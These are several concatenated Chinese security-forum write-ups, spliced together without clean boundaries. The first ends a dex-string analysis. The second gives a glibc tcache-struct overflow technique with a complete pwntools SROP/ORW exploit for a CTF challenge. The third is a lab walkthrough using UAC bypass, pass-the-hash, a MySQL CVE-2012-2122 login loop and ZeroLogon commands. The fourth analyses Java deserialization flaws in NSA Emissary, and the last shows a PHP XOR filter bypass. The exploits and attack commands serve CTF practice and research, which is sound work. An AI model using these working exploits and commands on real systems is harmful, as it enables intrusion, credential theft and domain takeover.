没有加密，所以没有输出。 再测试一下有加密的dex文件
统计一下，共输出45个，有30个经辨认为随机字符串。效果还凑活 如果增加一下字典，再改进算法应该可以更高。
### 五、总结
思路：阅读源码查找字符串池保存位置 ——> 设计输出字符串池 ——> 判断是否加密
顺便问一句，i春秋有像看雪那样的招聘版吗，给找工作的人一点帮助咯。
大四狗秋招找工作好忧桑啊啊啊。。。
本文由i春秋学院提供:http://bbs.ichunqiu.com/thread-11580-1-1.html?from=paper
* * * | 社区文章 |
# glibc 2.27-2.32版本下Tcache Struct的溢出利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
在高版本的glibc中安全机制也比较完善，就算我们找到漏洞，构造出堆块重叠，也常常难以得到任意读写的方法。在VNCTF2021的比赛中LittleReadFlower这道题目引入了一种
**全新的漏洞利用方式** ，通过修改tcache数量限制，使得tcache结构溢出到后部可控区域，来达到 **任意读写** 的目的。
## 适用范围：
1.libc版本为2.27及以上版本（有tcache）
2.只能申请较大size，size大小超过了tcache max size（0x408）（能够申请小size也能适用于这个方法，但没有必要使用这个方法）
3.UAF，有off by one ，off by
null等漏洞都可以构造出UAF，然后利用UAF来写入一个大数字（如果是旧版本可以考虑使用unsorted bin
attack，如果是新版本的libc可以考虑使用largebin attack）
4.有edit功能，或者在add过程中允许对堆块写入内容。
## 利用目的：
在size申请要大于0x408的程序中，我们可以通过这个方法，利用tcache的便利性（检测少）来达到任意读写来进一步利用。
## 思路详解：
### 想法起源
是否存在一种方法来修改tcache的最大数量，使得tcache的范围超过0x408字节，通过类似于global_max_fast的溢出方式，来使得tcache
struct溢出到我们申请的可控堆空间，然后通过修改可控堆空间来申请到我们想要的位置。
我通过两部分来讲解如何让 **tcache struct溢出并且伪造tcache struct的内容**
，操作完这两步后，接下来的申请就可以申请出我们想要的内存空间。
### 如何修改Tcache的最大数量？
搜索代码中的TCACHE_MAX_BINS，发现这是一个宏定义的常量。
这意味着我们无法在程序运行的时候动态修改，因为宏定义的常量在编译期间替换，于是我们要寻找相关的也同样是记录这这个内容的数据
但是我发现在malloc的时候，代码中把 **tc_idx** 与 **TCACHE_MAX_BINS** 的比对给替换了，从而用
**mp_.tcache_bins** 来代替
而 **mp_.tcache_bins** 的内容属于我们可写的数据区域，我们可以通过largebin attack或者unsorted bin
attack往里面写一个较大的数字。这样在比对的时，我们超出 **TCACHE_MAX_BINS** 限制的堆块也可以tcache来申请出来。
解决了这个条件判定后，我们需要来考虑 **tcache_get** 内的限制
这里用 **assert** 对idx和 **TCACHE_MAX_BINS**
进行比对，我在本地测试的时候用的是2.29的libc，在这块地方发生了报错，但实际在题目给出的libc中一般 **assert**
的内容都会被优化掉，所以这个检测语句也不复存在了。
### 如何伪造Tcache struct内容？
要知道如何伪造 **Tcache struct**
的内容，就首先要知道tcache的结构是怎么样的，这里我区分为glibc2.30以下版本和以上版本来说明。
**glibc2.30以下版本**
tcache struct的内容是有一个char类型的counts数组和entries链表。
其中counts数组实际上是用于记录当前这个size中储存的tcache链表长度，而从使用类型也可以看出来，使用char类型导致实际上最大的长度（
**MAX_TCACHE_COUNT** ）值是127。
在这部分的版本中，glibc在从tcache struct取出内容的时候不会检查counts的大小，从而我们只需要
**修改我们想要申请的size对应的链表头部位置** 即可申请到。
不过需要注意，在申请出来的时候会让counts对应的内容-1，需要注意不要让这部分内容修改到重要的数据（比如堆块的结构体信息等等…）
**glibc2.30及以上版本**
相信有的师傅在调试的过程中也能够发现，glibc2.30及以上的版本，tcache
struct的大小有所变化，而这个变化就是由于counts的类型改变所致的。
在新版本中counts的类型是 **uint16_t**
，占用2个字节，而之前版本只有1个字节。这样修改的目的我认为应该是为了在一些特殊环境中可能会需要使用tcache来管理堆块，而之前的最大限制127已经无法满足这样的要求，故增大数据类型。
在这些版本中，当从tcache中取出数据的时候会检测counts是否大于0，这使得我们如果要伪造tcache结构的话，同时需要考虑如何
**修改counts的值大于0** 。
不过counts的2字节却要比1字节更容易修改一些，因为这样可以用更小的size溢出到我们的可控区域。
在这之上我们再修改 **想要申请的size对应的链表头部位置** 即可
**Tips**
因为溢出和tcache struct内容存放在堆空间上的缘故，需要伪造的结构内容会落在我们的可控堆块上，所以
**题目只需要有edit功能，或者在add过程中允许对堆块写入内容皆可完成这一步** 。
## 题目实例
单纯的从利用手法触发，可能不够形象，接下来用题目来详细的解释，也方便各位师傅练手。
题目会侧重于讲解tcache struct溢出的部分。
### VNCTF2021 LittleRedFlower
**题目信息**
**信息整理**
1.libc2.30(给出了libc_base)
2.任意写一字节
3.堆空间附近任意写八字节
4.申请一个大小在0xFFF到0x2000之间的堆块
5.在申请到的堆空间上写数据
6.禁用了execve
**解题思路**
1.【修改tcache的最大数量】通过1字节的修改来修改 **mp_.tcache_bins**
2.【伪造tcache struct内容】通过在堆附近写8字节空间来在对应位置写入 **__free_hook的位置**
3.申请出 **__free_hook** ，并修改为我们的gadget
4.orw
**修改tcache的最大数量**
在有源码调试的情况下，我们可以很轻松的定位到 **mp_.tcache_bins** 的位置。以下是我用libc2.29的源码调试
但在没有源码的情况下，我们用题目所给的libc，定位到这个位置是比较困难的，我根据一些直觉找到了这个位置，并且计算出偏移。
需要注意的是，代码中的rip，是当前行汇编的下一行的内容。
那我是如何找到这个位置的呢？通过比对可以发现当我们输入的申请size为4096的时候，计算出来的idx=0xFF，而这个位置都是某个数据与0xFF进行比对，并且用的是jb，所以我推测这个位置就是
**mp_.tcache_bins** ，其次就是看到该位置的数据内容是0x40=64，正好是tcahce的默认个数。
接着我们计算出偏移，再+7（修改最高位）就可以用于exp中了。
**伪造Tcache struct**
从上面的信息我们可以知道在libc2.30中会校验counts是否大于0，如果是0则不从Tcache中取，所以我们需要在调试过程中，找到一个合适的size，使得判定counts的位置正好落在了程序申请的0x200的堆块上，因为这个堆块用memset初始化之后每个字节的内容都是1。
接着我们需要通过调试定位到 **tcahce->entries[tc_idx]**的位置，并且利用八字节修改来使得这个位置变成我们想要申请到的位置，这里显然是申请到 **__free_hook**
比较合适。
**修改__free_hook来执行SROP**
我们知道这道题需要orw，那么我们就要考虑如何把堆上的漏洞来转换到栈上，首先可以想到的是利用 **setcontext** 来操作。
在libc2.29及以后的版本， **setcontext + 61**
中调用的参数变成了rdx，而不是rdi，这使得我们在利用__free_hook传参的时候，无法直接传到setcontext中，这里我们就要考虑找一个gadget来传参使得rdi的参数转变到rdx上。
（由于setcontext开头的一些指令会导致奔溃，所以我们需要直接跳转到 + 61的位置来调用）
通过ropper来搜索
ropper-f"./libc-2.30.so"--search"mov rdx"
可以搜索到这个位置存在合理的gadget
#0x0000000000154b20: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
如果有师傅不知道这个操作的，可以仔细的研究一下这个gadget，我们只需要合理的构造即可使得rdi参数的信息转到rdx上，且调用 **setcontext
+ 61** 这个位置。
.text:0000000000055E00 public setcontext ; weak
.text:0000000000055E00 setcontext proc near ; CODE XREF: .text:000000000005C16C↓p
.text:0000000000055E00 ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00 push rdi
.text:0000000000055E01 lea rsi, [rdi+128h]
.text:0000000000055E08 xor edx, edx
.text:0000000000055E0A mov edi, 2
.text:0000000000055E0F mov r10d, 8
.text:0000000000055E15 mov eax, 0Eh
.text:0000000000055E1A syscall ; $!
.text:0000000000055E1C pop rdx
.text:0000000000055E1D cmp rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23 jnb short loc_55E80
.text:0000000000055E25 mov rcx, [rdx+0E0h]
.text:0000000000055E2C fldenv byte ptr [rcx]
.text:0000000000055E2E ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35 mov rsp, [rdx+0A0h]
.text:0000000000055E3C mov rbx, [rdx+80h]
.text:0000000000055E43 mov rbp, [rdx+78h]
.text:0000000000055E47 mov r12, [rdx+48h]
.text:0000000000055E4B mov r13, [rdx+50h]
.text:0000000000055E4F mov r14, [rdx+58h]
.text:0000000000055E53 mov r15, [rdx+60h]
.text:0000000000055E57 mov rcx, [rdx+0A8h]
.text:0000000000055E5E push rcx
.text:0000000000055E5F mov rsi, [rdx+70h]
.text:0000000000055E63 mov rdi, [rdx+68h]
.text:0000000000055E67 mov rcx, [rdx+98h]
.text:0000000000055E6E mov r8, [rdx+28h]
.text:0000000000055E72 mov r9, [rdx+30h]
.text:0000000000055E76 mov rdx, [rdx+88h]
.text:0000000000055E7D xor eax, eax
.text:0000000000055E7F retn
我们发现SROP中的frame信息，前0x28字节的信息基本上是没有用的，所以我们可以直接把前0x28字节的数据丢掉，并且补上一些配合gadget的数据。
顺便一提，在执行orw的时候，我们其实可以直接利用libc中的函数来调用syscall，可以少找一条 **syscall gadget**
，说不定就差找这一条gadget的时间就拿到一血了呢？
### EXP
from pwn import *
r = process('./pwn')
#r = remote('node3.buuoj.cn', 28140)
context.log_level = "debug"
context.arch = "amd64"
# libc = ELF('/glibc/x64/2.29/lib/libc.so.6')
libc = ELF('./libc.so.6')
r.recvuntil('GIFT: ')
stdout_addr = int(r.recvuntil('\n')[:-1], 16)
print "stdout_addr: " + hex(stdout_addr)
libc.address = stdout_addr - libc.sym['_IO_2_1_stdout_']
print "libc_base: " + hex(libc.address)
r.sendafter('You can write a byte anywhere', p64(libc.address + 0x1ea2d0 + 0x7))
r.sendafter('And what?', '\xFF')
r.sendlineafter('Offset:', str(0x880))
r.sendafter('Content:', p64(libc.sym['__free_hook']))
#gdb.attach(r, 'b free')
r.sendafter('size:', str(0x1530))
pop_rdi_addr = libc.address + 0x0000000000026bb2
pop_rsi_addr = libc.address + 0x000000000002709c
pop_rdx_r12_addr = libc.address + 0x000000000011c3b1
fake_frame_addr = libc.sym['__free_hook'] + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = libc.address + 0x00000000000256b9 # : ret
rop_data = [
libc.sym['open'],
pop_rdx_r12_addr,
0x100,
0x0,
pop_rdi_addr,
3,
pop_rsi_addr,
fake_frame_addr + 0x200,
libc.sym['read'],
pop_rdi_addr,
fake_frame_addr + 0x200,
libc.sym['puts']
]
gadget = libc.address + 0x0000000000154b20 #0x0000000000154b20: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
frame = str(frame).ljust(0xF8, '\x00')
payload = p64(gadget) + p64(fake_frame_addr) + '\x00' * 0x20 + p64(libc.sym['setcontext'] + 61) + \
frame[0x28:] + "flag\x00\x00\x00\x00" + p64(0) + flat(rop_data)
r.sendafter('>>', payload)
r.interactive() | 社区文章 |
# 内网拓扑
扫描下方二维码关注公众号，回复 **靶场** 获取靶场
[
# 内网渗透
这里因为是1904的系统，尝试使用bypassuac进行提权，原理的话就是有一些系统程序是会直接获取管理员权限同时不弹出UAC弹窗，这类程序被称为白名单程序。
这些程序拥有autoElevate属性的值为True，会在启动时就静默提升权限。
那么我们要寻找的uac程序需要符合以下几个要求：
> 1. 程序的manifest标识的配置属性 autoElevate 为true
> 2. 程序不弹出UAC弹窗
> 3. 从注册表里查询Shell\Open\command键值对
>
这里直接使用到github上的[bypassuac](https://github.com/Drunkmars/BypassUAC)
执行`shell C:\tmp\bypassuac.exe C:\tmp\beacon.exe`
然后在入口主机执行`connect 10.10.10.10`即可上线，这里我们看一下提权上线后的右上角是有一个*号的
在之前我们没有提权的beacon上执行`shell whoami /priv`可以看到是没有调试权限的
再到我们提权后的beacon执行，有了调试程序的权限，这里其实已经相当于是一个管理员的权限了，可以抓取密码
在之前的beacon上执行hashdump会报错没有调试权限
在提权后的beacon成功执行hashdump
到这里我们就上线了两台主机了，这里难道同网段就没有主机存活了吗，那么我们在10.10.10.10这台主机上再执行命令进行一次扫描
扫到另外一台存活主机的IP为10.10.10.30开放了445端口，这里因为设置了入站规则所以在10.10.10.5主机上是扫描不到这台10.10.10.30的主机的
这里使用`tasklist /svc`查看进程发现用`chrome.exe`进程
使用梼杌插件的抓取chrome保存的信息发现有一个`hack4`的账号
那么很可能这是10.10.10.30这台主机的账号跟密码，这里就使用到smb beacon尝试使用psexec上线，这里首先创建一个SMB beacon
这里使用到psexec进行pth
报错是`could not upload
file:5`，这个报错产生的原因就是不能打开匿名管道，我们知道psexec的原理就是通过打开admin$管道来实现横向移动。
那么这里猜测可能要使用管理员的账户去pth，密码的话还是相同
这里使用管理员的账户成功pth
上线是一个system权限的beacon
在根目录下发现两个txt
成功拿到第6个flag，还有一个mysql.txt，这里我们之前在192段进行扫描的时候发现了一台主机开放了3306端口，进行连接的尝试
这里使用navicat连接是连接成功了，但是翻半天也没有找到flag在哪
这里使用goby去扫一下
发现存在cve-2012-2122，这个漏洞的原理为，当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。
也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。
发送exp过去验证一下，是能够利用的
在kali里面使用exp进行攻击，使用的是root账户
for i in `seq 1 1000`; do mysql -uroot -pwrong -h 192.168.1.11 ; done
通过数据库语句查询拿到了第七个flag
然后再对10.10.10.30这台主机进行信息搜集，发现为双网卡，其中一张网卡通向172.18.50.0/24段
那么我们再对172.18.50.0/24段进行存活主机扫描
portscan 172.18.50.1-255 1-1000,3389,5000-6000
发现172.18.50.9开放了80端口
这里cs开一个socks代理端口
访问一下是一个通达oa
这里通过通达oa的远程命令执行rce拿到shell
在根目录下发现了第8个flag
然后还是使用tcp beacon上线cs
执行beacon.exe
在172.18.50.9主机上执行`connect 172.18.50.35`进行连接
上线之后执行hashdump抓取密码
尝试直接进行pth连接域控失败，1326报错的原因是错误的用户名或密码
那么继续进行信息搜集，发现在`redteam.com`域内，这里进行了一系列尝试都失败，这里用到cve-2020-1472进行攻击
先socks配合proxifier代理流量到本地
使用poc监测到DC存在CVE-2020-1472漏洞
先把域控的密码置空
python cve-2020-1472-exploit.py DC$ 172.18.50.9
然后使用impacket里面的`secretsdump.py`获取hash
python secretsdump.py redteam/[email protected] -nopass
这里拿到了管理员的hash，那么还是使用SMB beacon进行pth
pth成功
成功上线
拿到第九个flag，渗透任务完成 | 社区文章 |
#### 简介
NSA的项目 Emissary 中文"密使".
地址是 <https://github.com/NationalSecurityAgency/emissary>
Emissary是一个基于P2P的数据驱动工作流引擎，运行在异构的、可能广泛分散的、多层的P2P计算资源网络中。
工作流行程不像传统的工作流引擎那样预先计划，而是随着数据的更多信息被发现而被确定(发现)。在Emissary工作流中通常没有用户交互，而是以面向目标的方式处理数据，直到它达到完成状态。
Emissary 是高度可配置的，但在这个"基本实现"(base implementation)中几乎什么都不做。
这个框架的用户应提供扩展`emissary.place.ServiceProviderPlace` 的类，以在
`emissary.core.IBaseDataObject` 有效负载上执行工作。
可以做各种各样的事情，工作流是分阶段管理的，例如:STUDY, ID, COORDINATE, TRANSFORM, ANALYZE, IO,
REVIEW.
`emissary.core.MobileAgent`是负责指挥工作流的类、和从它派生的类，它们管理一组相关的负载对象的路径通过工作流。
通过工作流管理一组相关的"负载对象"(payload objects)的路径。
`emissary.directory.DirectoryPlace` 管理可用的"服务"(services)、它们的成本和质量，并保持 P2P
网络的连接。
参考<https://securitylab.github.com/research/NSA-emissary/>
#### 不安全的反序列化(CVE-2021-32634) 漏洞1
第一个。
位于`WorkSpaceClientEnqueueAction` REST端点中。
看代码
<https://github.com/NationalSecurityAgency/emissary/blob/30c54ef16c6eb6ed09604a929939fb9f66868382/src/main/java/emissary/server/mvc/internal/WorkSpaceClientEnqueueAction.java#L52>
可见`WorkSpaceClientEnqueueAction`类的实现：
public class WorkSpaceClientEnqueueAction {
private final Logger logger = LoggerFactory.getLogger(this.getClass());
/*
* <!-- Put a file on a work PickUpPlaceClient queue --> <Use-Case source="*" action="/WorkSpaceClientEnque.action">
* <Work type="Bean" target="emissary.comms.http.worker.LogWorker"/> <Work type="Bean"
* target="emissary.comms.http.worker.WorkSpaceClientEnqueWorker"/> <View status="0" view="/success.jsp"/> <View
* status="-1" view="/error.jsp"/> </Use-Case>
*/
// TODO This is an initial crack at the new endpoint, I haven't seen it called an am unsure when/if it does
@POST
@Path("/WorkSpaceClientEnqueue.action")
@Consumes(MediaType.APPLICATION_FORM_URLENCODED)
@Produces(MediaType.TEXT_PLAIN)
public Response workspaceClientEnqueue(@FormParam(WorkSpaceAdapter.CLIENT_NAME) String clientName,
@FormParam(WorkSpaceAdapter.WORK_BUNDLE_OBJ) String workBundleString) {
logger.debug("TPWorker incoming execute! check prio={}", Thread.currentThread().getPriority());
// TODO Doesn't look like anything is actually calling this, should we remove this?
final boolean success;
try {
// Look up the place reference
final String nsName = KeyManipulator.getServiceLocation(clientName);
final IPickUpSpace place = (IPickUpSpace) Namespace.lookup(nsName);
if (place == null) {
throw new IllegalArgumentException("No client place found using name " + clientName);
}
final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(workBundleString.getBytes("8859_1")));
WorkBundle paths = (WorkBundle) ois.readObject();
success = place.enque(paths);
} catch (Exception e) {
logger.warn("WorkSpaceClientEnqueWorker exception", e);
return Response.serverError().entity("WorkSpaceClientEnqueWorker exception:\n" + e.getMessage()).build();
}
if (success) {
// old success from WorkSpaceClientEnqueWorker
// return WORKER_SUCCESS;
return Response.ok().entity("Successful add to the PickUpPlaceClient queue").build();
} else {
// old failure from WorkSpaceClientEnqueWorker
// return new WorkerStatus(WorkerStatus.FAILURE, "WorkSpaceClientEnqueWorker failed, queue full");
return Response.serverError().entity("WorkSpaceClientEnqueWorker failed, queue full").build();
}
}
可以通过对 的经过身份验证的 POST 请求访问此端点`/WorkSpaceClientEnqueue.action`。
正如上面源代码中所看到的，表单参数`WorkSpaceAdapterWORK_BUNDLE_OBJ` (即tpObj) 在第52行 被解码 并
反序列化。(可以看到`readObject`)
也就是最关键的这一行`final ObjectInputStream ois = new ObjectInputStream(new
ByteArrayInputStream(workBundleString.getBytes("8859_1")));`
幸运的是，这是一个身份验证后的问题(post-authentication
issue)，由于SonarSource报告修复了跨站请求伪造(CSRF)漏洞，因此无法通过CSRF代表已登录用户利用该漏洞。
CodeQL还报告了另外2个不安全的反序列化操作，这些操作目前没有在代码中执行。然而，它们是定时炸弹，可能在未来的版本中启用，因此安全实验室团队也报告了它们。
第一个起源于`MoveToAction`类，它没有被Jersey server公开。
正如在comment中描述的:
// TODO This is an initial crack at the new endpoint, I haven’t seen it called an am unsure when/if it does
MoveToAction:
见<https://github.com/NationalSecurityAgency/emissary/blob/22744ec91ef759078b14975df74a66243f1ce679/src/main/java/emissary/server/mvc/internal/MoveToAction.java>
public Response moveTo(@Context HttpServletRequest request)
final MoveToAdapter mt = new MoveToAdapter();
final boolean status = mt.inboundMoveTo(request);
...
MoveToAdapter:
public boolean inboundMoveTo(final HttpServletRequest req)
final MoveToRequestBean bean = new MoveToRequestBean(req);
MoveToRequestBean(final HttpServletRequest req)
final String agentData = RequestUtil.getParameter(req, AGENT_SERIAL);
setPayload(agentData);
this.payload = PayloadUtil.deserialize(s);
...
PayloadUtil:
ois = new ObjectInputStream(new ByteArrayInputStream(s.getBytes("8859_1")));
#### 不安全的反序列化(CVE-2021-32634) 漏洞2
第二个方法来源于`WorkSpaceAdapter`类的`inboundEnque`方法。
该漏洞需要调用`inboundEnque()`，但目前尚未执行该调用。
WorkspaceAdapter类:
见<https://github.com/NationalSecurityAgency/emissary/blob/2e7939f3540f47f0374e77f083af8a657023de35/src/main/java/emissary/server/mvc/adapters/WorkSpaceAdapter.java>
/**
* Process the enque coming remotely over HTTP request params onto the specified (local) pickup client place
*/
public boolean inboundEnque(final HttpServletRequest req) throws NamespaceException {
logger.debug("TPA incoming elements! check prio={}", Thread.currentThread().getPriority());
// Parse parameters
final EnqueRequestBean bean = new EnqueRequestBean(req);
// Look up the place reference
final String nsName = KeyManipulator.getServiceLocation(bean.getPlace());
final IPickUpSpace place = lookupPlace(nsName);
if (place == null) {
throw new IllegalArgumentException("No client place found using name " + bean.getPlace());
}
return place.enque(bean.getPaths());
}
WorkspaceAdapter:
EnqueRequestBean(final HttpServletRequest req) {
setPlace(RequestUtil.getParameter(req, CLIENT_NAME));
if (getPlace() == null) {
throw new IllegalArgumentException("No 'place' specified");
}
setPaths(RequestUtil.getParameter(req, WORK_BUNDLE_OBJ));
}
WorkspaceAdapter:
/**
* Sets the WorkBundle object from serialized data
*/
void setPaths(final String s) {
try {
final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(s.getBytes("8859_1")));
this.paths = (WorkBundle) ois.readObject();
} catch (Exception e) {
logger.error("Cannot deserialize WorkBundle using {} bytes", s.length(), e);
throw new IllegalArgumentException("Cannot deserialize WorkBundle");
}
}
可以看到`readObject`
#### 修复与总结
不安全的反序列化会造成安全隐患。 | 社区文章 |
在 ISITDTU CTF 2019 上做了一道比较有意思的代码审计题，主要应用了 php 异或等操作进行
getshell，收获还是挺多的。最近越来越喜欢看这种代码简单，但是又蕴含玄机的东西了...
# Description
> Don't try to run any Linux command, just use all the PHP functions you
> know to get the flag
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
# Write Up
## Explation
题目代码比较简单，首先看看第一个正则：
再看看第二个过滤，`strtolower`将字符串转换为小写，用`count_chars`返回由所有使用了的字节值组成的字符串，再判断其中每个字符累计出现次数是否大于
13
## Doing
### Step 1
既然正则约束了比较多的条件，自然我们首先得看看还有哪些可用的。
<?php
$arr = get_defined_functions()['internal'];
foreach ($arr as $key => $value) {
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $value) ){
unset($arr[$key]);
continue;
}
if ( strlen(count_chars(strtolower($value), 0x3)) > 0xd ){
unset($arr[$key]);
continue;
}
}
var_dump($arr);
?>
得到还剩下以下内置函数可用：
array(15) {
[206]=>
string(5) "bcmul"
[1060]=>
string(5) "rtrim"
[1066]=>
string(4) "trim"
[1067]=>
string(5) "ltrim"
[1078]=>
string(3) "chr"
[1102]=>
string(4) "link"
[1103]=>
string(6) "unlink"
[1146]=>
string(3) "tan"
[1149]=>
string(4) "atan"
[1150]=>
string(5) "atanh"
[1154]=>
string(4) "tanh"
[1255]=>
string(6) "intval"
[1403]=>
string(4) "mail"
[1444]=>
string(3) "min"
[1445]=>
string(3) "max"
}
这样这题看起来与国赛那个 Love_Math 题目就有点类似了，看起来`intval`跟`chr`貌似有点搞头，但是数字却又被 ban
掉了…那我们就只能另寻他路了...
### Step 2
虽然双引号跟单引号都被 ban 掉了，但是我们知道 php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型，所以即使双引号跟单引号被 ban
了其实并没有太大的影响。而我们还可以知道，字符串还可以用`!`操作符来进行布尔类型的转换，如下：
php > var_dump(!a);
PHP Notice: Use of undefined constant a - assumed 'a' in php shell code on line 1
bool(false)
php > var_dump(!!a);
PHP Notice: Use of undefined constant a - assumed 'a' in php shell code on line 1
bool(true)
可以再加一个`@`忽略 notice 输出
<?php
var_dump(@a); //string(1) "a"
var_dump(!@a); //bool(false)
var_dump(!!@a); //bool(true)
而对 bool 类型使用加法的时候， php 则会将 bool 类型处理为数字，`true` 转换为 1 ， `false` 为 0
，所以我们又可以利用这一点来实现数字计算：
<?php
var_dump(!!@a + !!@a); //int(2) 1+1
var_dump((!!@a + !!@a) * (!!@a + !!@a + !!@a + !!@a)); //int(6) (1+1)*(1+1+0+1)
所以，这样大概我们就可以利用`chr()`进行数字转换得到字符了，并且我们还可以利用`"phpinfo"()`的特性，通过字符串拼凑，可以得到
phpinfo:
(chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) + !!@a)
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) * ((!!@a + !!@a + !!@a) ** (!!@a + !!@a) ))
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a + !!@a + !!@a ) * (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) - !!@a - !!@a)
.chr((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a) - !!@a))();
但是这里要需要用到`.`进行字符串拼接，然而`.`又被 ban 掉了，所以我们得另寻他路
### Step 3
观察正则表达式，我们还可以使用的符号有：
['!', '%', '+', '-', '*', '/', '>', '<', '?', '=', ':', '@', '^']
我们可以注意到另一个比较明显的点，就是`^`异或符号没有被 ban ，在一些免杀马里面就经常用`^`异或来进行混淆。通过查阅[
php文档](https://www.php.net/manual/zh/language.operators.bitwise.php) 我们可以知道
> If both operands for the _&_ , _|_ and _^_ operators are strings, then the
> operation will be performed on the ASCII values of the characters that make
> up the strings and the result will be a string. In all other cases, both
> operands will be[converted to
> integers](https://www.php.net/manual/zh/language.types.integer.php#language.types.integer.casting)
> and the result will be an integer.
字符串的异或操作是基于字符的 ASCII 码来进行操作的，例如：
php > var_dump(@a^"1");
string(1) "P"
php > echo ord("a");
97
php > echo ord("1");
49
php > echo 97^49;
80
php > echo chr(80);
P
我们就可以利用之前的数字操作加上异或就可以得到我们自己想要的操作了。
php > var_dump(@p^"1");
string(1) "A"
php > var_dump(@h^"1");
string(1) "Y"
php > var_dump(@i^"1");
string(1) "X"
php > var_dump(@n^"4");
string(1) "Z"
php > var_dump(@f^"1");
string(1) "W"
php > var_dump(@o^"5");
string(1) "Z"
php > var_dump(@phpinfo^"1111415");
string(7) "AYAXZWZ"
php > var_dump(@AYAXZWZ^"1111415");
string(7) "phpinfo"
接下来就是数学时间了，另外，对于 int 型到 string 的转换，我们可以利用`trim`进行操作。
var_dump(
trim(
(!!@a + !!@a + !!@a + !!@a + !!@a) *
((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a) + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a) *
((!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a+ !!@a+ !!@a) + (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a + !!@a + !!@a ) - (!!@a + !!@a) ** (!!@a + !!@a + !!@a + !!@a + !!@a) - !!@a - !!@a- !!@a)
) ^ @AYAXZWZ
);//phpinfo
结果回显`you are so close, omg`
### Step 4
绕过了正则接下来就是处理每个字符出现次数得小于 13 的问题了。
所以我们需要精简一下异或操作，尽量找一些相同的字符进行操作，我们可以找到如下的异或关系：
p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
h: |Q ^ 9|X ^ 0|Y ^ 1|Z ^ 2|
p: |A ^ 1|B ^ 2|C ^ 3|H ^ 8|I ^ 9|
i: |Q ^ 8|X ^ 1|Y ^ 0|Z ^ 3|
n: |V ^ 8|W ^ 9|X ^ 6|Y ^ 7|Z ^ 4|
f: |Q ^ 7|R ^ 4|T ^ 2|U ^ 3|V ^ 0|W ^ 1|
o: |V ^ 9|W ^ 8|X ^ 7|Y ^ 6|Z ^ 5|
尽量找到相同字符进行拼凑，我们就可以得到`AYAYYRY ^
1110746`，`AYR`加上`trim`中的`tim`，再加上`!!(+*);`，我们这样只用 13 个字符得到了`phpinfo()`。
(AYAYYRY^trim(((((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a+!!a)))+(((!!a+!!a))**((!!a+!!a+!!a)))+(((!!a+!!a))**((!!a))))))();
这里可能需要注意的就是将`+`进行 urlencode ，因为`+`在 url 中是空格。
### Step 5
